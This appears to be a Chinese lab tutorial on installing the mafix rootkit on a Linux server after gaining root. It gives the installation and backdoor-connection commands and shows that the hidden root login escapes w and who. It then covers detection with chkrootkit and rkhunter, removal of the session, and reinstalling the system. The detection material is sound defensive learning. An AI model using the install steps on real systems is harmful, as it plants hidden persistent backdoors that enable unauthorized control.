1.首先获得远程服务器的root权限,当然这是基本的也是最难的。
2.然后下载rootkit程序,本文用到的是mafix。
3.开始安装
tar zxvf mafix.tar.gz
cd mafix
./root 123 20000 (其中123为你连接后门程序时的密码,20000为连接的端口,查看HOW-TO修改)
安装过程中一些地方报错,主要是找不到一些库文件日志文件等,最后还是安装成功了。
安装成功后出现如下画面:
安装成功后查看当前目录
可以看到ls命令已经有些异常了,而且当前目录下已经没有任何文件,说明程序安装后自我删除了。
可以验证一下是否成功:
[root@localhost ~]# netstat -an|grep 20000
可以看到,20000端口已经在监听了.
4.连接后门程序
Linux下:
passwd:
输入123即可。
Windows下:
使用putty,192.168.1.120 端口填 20000,登陆成功。
这个shell的诡秘之处,在于用w、who等命令并不能显示root用户登陆。登陆的很隐蔽。
接下来尝试用一些检查rootkit的软件排查,chkrootkit和rkhunter
root@exp-VirtualBox:/home/exp# chkrootkit -n
关键来了:
上面一条记录tty7对应的是图形界面。
root 19653 pts/2这个根据pid(ps aux|grep 19653)及端口(lsof -i:20000)其实就是隐藏登陆的root用户。
————————
再看看rkhunter,先更新数据库
root@exp-VirtualBox:/home/exp# rkhunter –update
root@exp-VirtualBox:/home/exp# rkhunter -c
这里看到,ssh的远程root登陆开启了,默认是不允许直接root登陆的;还有系统用户密码文件有变动等。
最后汇总,可能存在的的roorkit及可疑文件。写入/var/log/rkhunter.log日志中。
从上面监测的过程中可以看出,rootkit的监测流程,基本上就是按二进制文件、已知rootkit特征值匹配,网络端口连接,系统及日志文件逐步排查下来的。
基本上,主要是根据端口及pid,杀掉进程,把用户T出去。
linux下T用户的方法:
pkill -kill -t /dev/tty/n
fuser -k /dev/tty/n
具体的tty用w,who,finger等命令查看。
__________________________________
找到rootkit之后该如何处理呢?
有些系统命令已经被破坏了,chkrootkit,rkhunter只能检测rootkit却不能预防,植入的rootkit也无法彻底清理。
做好关键文件的备份重装系统吧。
其实整个过程回过头看,有两点一直没提到,一是防火墙规则,二是如何获取root权限。光第一步绕过防火墙就有些困难,再提权获取root权限更有些难度。
以上实验仅做测试交流。
参考链接:
http://linux.vbird.org/linux_security/0420rkhunter.php
http://www.2cto.com/Article/201311/258185.html